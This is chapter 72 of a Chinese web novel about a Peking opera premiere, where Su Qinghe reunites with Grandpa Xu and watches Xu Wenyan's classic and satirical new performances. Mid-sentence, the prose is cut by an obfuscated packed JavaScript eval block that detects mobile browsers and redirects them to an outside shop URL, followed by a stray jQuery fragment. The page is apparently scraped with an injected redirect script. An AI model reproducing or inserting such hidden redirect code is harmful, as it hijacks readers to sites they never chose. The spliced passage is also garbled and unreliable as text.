72. 首演
    第一排的座位多是安排给了业内前辈,苏清河一行四人的票在第二排。不及入座,苏清河一眼看见了坐在第一排中间的许秋月和蒋川禾。

    她迟疑了些许,转头示意韩楠和芸豆先去座位,她自己则向着第一排走去。她想,虽然自己不招人父母待见,但她出于礼貌也应该去打个招呼。隔着距离,她看见蒋川禾与许秋月正在说些什么,两人转过头看向蒋安和余依的方向,许秋月脸上也难得带了些笑意。

    “蒋导、许老师,晚上好。”

    苏清河走上前,规规矩矩打了个招呼,于是她便目睹了许秋月脸上的笑容消失术。

    饶是她做好了心理准备,也不由得一愣。

    “晚上好,你的座位在哪边?”相比许秋月,蒋川禾态度上更显山不露水。

    苏清河指了指后一排:“在第二排,我就过来打个招呼,我先过去了。”

    蒋川禾颔首。

    苏清河不再犹豫,转身朝着第二排走去,在路上,她留意到蒋川禾的旁边还剩下三个空位,第一排每个位子的椅背上都会贴着名字,这三个空位上有一个名字引起了她的注意,上面写着“许朗华”。

    她并不知道许爷爷的全名叫做什么,但她的直觉告诉她,这个位置的主人就是许爷爷。

    记忆里老人的面孔也已经有些模糊,但当时老人身上所散发出的独属于长辈的温暖却依旧停留在她的记忆里。

    想到可能会再次相见,她不自觉握紧了扶手,心里有些期待也有些紧张,也不知道许爷爷还记不记得她。

    这时,不远处传来动静,原本坐在第一排的京剧界大师们纷纷站起身打招呼,苏清河朝着动静看过去,一下便认出了人群中心站着的正是许朗华。

    和记忆中的许爷爷相比,现在的许朗华头发已经全白,但精神气依旧不减当年,颇有一些仙风道骨的出尘气质。

    他的身旁站着许千阳,两人一路寒暄,在许秋月和蒋川禾处停留了下来。

    许千阳“哟”了一声,笑道:“姐,姐夫来挺早啊。”

    “爸”

    许秋月和蒋川禾没看许千阳,起身看向许朗华打了声招呼。许朗华面色淡然,只是应了一声,再无更多交流的意思。

    苏清河若有所思,一时不知道该不该上去打招呼。

    “欸爸,你看,那就是温言的女朋友”

    正当她犹豫时,许千阳的手一指,不远处注意力的核心立即转移到了她身上,许朗华原本平淡的眼睛多了几分神采,倾过身隔着座位喊了她一声:“清河?你是清河吧?”

    苏清河一愣,下意识站起身点了点头:“许爷爷”

    许秋月眉心轻蹙,眼神复杂地看着两人,一时心里滋味难明。

    许朗华重重握了握苏清河的手,面露欣慰:“一眨眼,都这么大了。”

    “没想到您还记得我。”苏清河笑着,却不知为何感觉眼底有些发烫。

    许朗华哈哈一笑,语带调侃:“你也算我厨艺的半个徒弟,忘记谁也不能忘记你是不是?”

    提到厨艺,苏清河的笑容里带上了几分心虚,她可不敢让爷爷知道,自己已经偏离了师门,走入了魔道。

    “许爷爷,见到您真的非常高兴。”这个话题还是就此打住吧。

    许朗华话锋一转:“是吗?那这么久你怎么都没和小言一起来看我?”

    苏清河心里一紧,看着许朗华有些发愣,所以许爷爷已经知道她和许温言的事了?

    她小心观察着许朗华的表情,却见许朗华虽然说出的话带着质疑,但眼睛里却始终是柔和的,隐隐还带着些笑意,她松了口气,从善如流承诺道:“下次!下次我一定让温言带上我。”

    “好!我等着你。”许朗华朗声一笑,招呼着苏清河坐下,自己也转身落座。

    许千阳啧啧了一声:“爸,怎么感觉你比我还早知道呢?”

    许朗华面露得意,坐正了身体:“因为我是小言最亲的人。”

    许千阳移开视线:“行,当我白问。”

    “爸,您认识苏清河?”

    一旁的蒋川禾洞察自家老婆想问又不想开口的别扭心思,主动为其代劳:许朗华余光扫了一眼女婿旁边的女儿,语气淡淡:“嗯,在南城有过交集。”

    蒋川禾仔细一琢磨,惊讶道:“所以她和小言在那个时候就认识了?”

    许朗华颔首肯定了他的猜测,随后意有所指道:“清河是个好女孩,小言眼光很好。”

    许千阳也惊讶地看着自己的父亲:“南城就认识了?!我还老说温言不开窍,结果人不但开了窍,还会早恋!真是可怕的很。”

    许秋月坐在蒋川禾旁边,从头至尾低头看着手机,看似对他们的谈话毫不在意,但若是侧头去看,便能发现她的页面上显示的正是苏清河的百科资料。

    单亲家庭……母亲癌症去世……

    与她所想象的,倒是不太一样。许秋月在内心建立的铁墙上,裂缝又扩大了一些,但程度依然有限,无论如何,这个人不堪入耳的名声总不会是空穴来风。

    相比许秋月脑内杂乱的思绪,苏清河的注意力早就放在了其它的事情上,现在距离开场已经只有十分钟,但席屿的座位却依旧是空的。

    虽然自从许温言提出辞职,师徒的关系至今没能缓和,但她知道,许温言内心是希望今天这个特殊的场合,席屿能够在的。

    “尊敬的观众朋友们,演出即将开始,请在各自的座位上就坐,……”

    距离开场只剩下五分钟,场内响起播报声。当双语播报至第二遍,观众席的灯骤然熄灭,陷入了一片黑暗,舞台成为聚光的焦点。

    大幕的另一边,第一轮需要上台的演员闭着眼睛,做着最后的呼吸调整。许温言站在一旁,撩起一处缝隙,看向观众席第一排的空位,半晌,松开了手。

    那一丝缝隙所带来的光亮再度熄灭。

    这时,有一人匆匆进入剧场,最终在空位前停了下来。

    苏清河看着座位上的人,神色一松,看向了舞台。

    大幕开启,锣鼓琴弦声响起,戏中人接连登场,是大家再熟悉不过的《锁麟囊》。关于首演的第一场戏,是表演经典剧目还是展现不一样的京剧,大家曾经慎重讨论过。

    苏清河曾经问过许温言这样选择的原因。

    “他们是京剧的瑰宝,创新的根基。”那时,许温言看着空无一人的舞台,这样回答。

    台上人灿烂且夺目。这是她第二次,不对是第一次看许温言完整表演《锁麟囊》,第一次最多也只能算看了个半场。

    她记得那时楠姐说,许温言即使表演同一出剧目,他的处理方式也会有所变化,一场有一场的独特。

    此刻她更具象化的感受到了这种独特,在既定不变的动作和台词上,许温言在唱腔上做了微调,唱词的节奏也随之发生了改变,将人物的情感与旋律的多变严丝合缝地结合在了一起,高出响遏行云,低唱则如山涧溪流。

    浑然天成,直击灵魂。

    在一折戏后,她跟随着周围人的叫好声,用力地鼓了鼓掌,只觉得这些叫好声和鼓掌的声音一一化作了甜丝丝的山泉水,将她的心填满得满满胀胀。

    戏台上,薛湘

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13266643|138491||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    灵经历着生活的大起大落,昔日赠予他人的温暖,时隔多年在人生的低谷里,又最终回馈到了她的人生。

    看到最后,苏清河那鼓鼓胀胀的内心又融为细细密密的热流经由血管流向全身,她突然很感谢当时的自己,谢谢她不吝啬于赠予那人的一缕阳光。

    戏台上薛湘灵与走散的家人重聚,在掌声雷动中,大幕缓缓落下。

    在场的媒体人调整着设备,准备正式谢幕后的采访,观众席则意犹未尽地鼓着掌,久久未能落座。

    苏清河正了正身体,心里砰砰直跳,耳朵竖起听着周围的动静,因为她知道接下来的环节并不是谢幕。

    已经停歇的乐器声重新响起。

    “想当初,人人都说条条大路通罗马,而今我芳年二八,才知这条条大路只能做牛马。领导的想法天马行空,弄得我心烦意乱,却只能道好的呀。”

    娓娓道来的戏声透过大幕传来。

    观众席安静了一瞬,有些人没有摸清楚现在的状况,有戏迷认出这是许温言的声音,还有些被《好戏登场》吸引来的年轻人捕捉到了网络传播点,立即拿出了手机开始录像。

    “小谢啊,我也是为你好,年轻人就要多吃苦,多做点事对你没坏处,去吧,重做,明早前给我。”

    台下的欢呼声换了一批更为年轻的声音。

    在这样的欢呼下,大幕重新拉起,只见场景却换成了古代后宫。身着华丽宫衣的小谢站在一旁,对着跪下的身着圆领太监衣的领导唱到:“领导你莫怪我,我也为你好,不暴露身份才是重中之重,现在,去吧,炭火不够。”

    李飞宇所饰演的领导微一躬身,面向观众,唱到:“多年努力一朝无,谁人像我这样命苦。”

    画面定格,大幕再次落下,念白声起:“欲知后事如何,我们明天不见不散。”

    “哎,京剧还可以这样玩吗?”

    “有点意思,明天我还想看,来不来?”

    “这什么意思?许老板这是要搞什么?”

    在台下的议论声里,大幕再次拉起,每个演员在咔嚓咔嚓的拍照声中依次进行了谢幕。

    许温言站在中间,一眼看见了在台下坐着的席屿,席屿此时也正看着他,眉目间是隐藏不住的疲惫,眉心仍然拧着,眼里不见一丝笑意。

    已经步入老年的人率先垂下视线,撑了撑扶手,想要起身离开。

    许温言眼睛里刚刚亮起的光芒,又暗了下去,他稳了稳心神开口回答方才记者提出的问题。

    记者:“请问刚刚结束的表演是原创的新戏吗?能和我们分享一下为什么会想要做这样一出戏吗?”

    “因为戏来源于生活,京剧也不能免俗,如果他只停留在过去,那么他与观众的距离将越来越远,我想这不该是京剧最终的归宿。”

    “你的意思是传统的戏已经不合时宜了吗?”

    “传统的剧目是京剧的基底,创新是适应推进不是丢弃否认。”

    席屿的动作一顿,他闭了闭眼,轻声叹了口气,重新坐了下来,看着台上自己最为得意的徒弟,青年的眼神坚定,但看向他时,又带着一丝执拗,他想,他的确是老了,未来是年轻人的,不再是他的。

    “小屿,想做敢做才是年轻人,你不再年轻但也年轻过。”许朗华侧过身,拍了拍席屿的肩膀。

    席屿一怔,看向自己的老师,不知道从何开始,他已经习惯了成为长辈,许久没有了被别人当做晚辈的滋味,但面对自己最为敬重的老师,久违的感觉又重新蔓延上他的肢体,让他一时有些拘谨。

    “老师,我知道了。”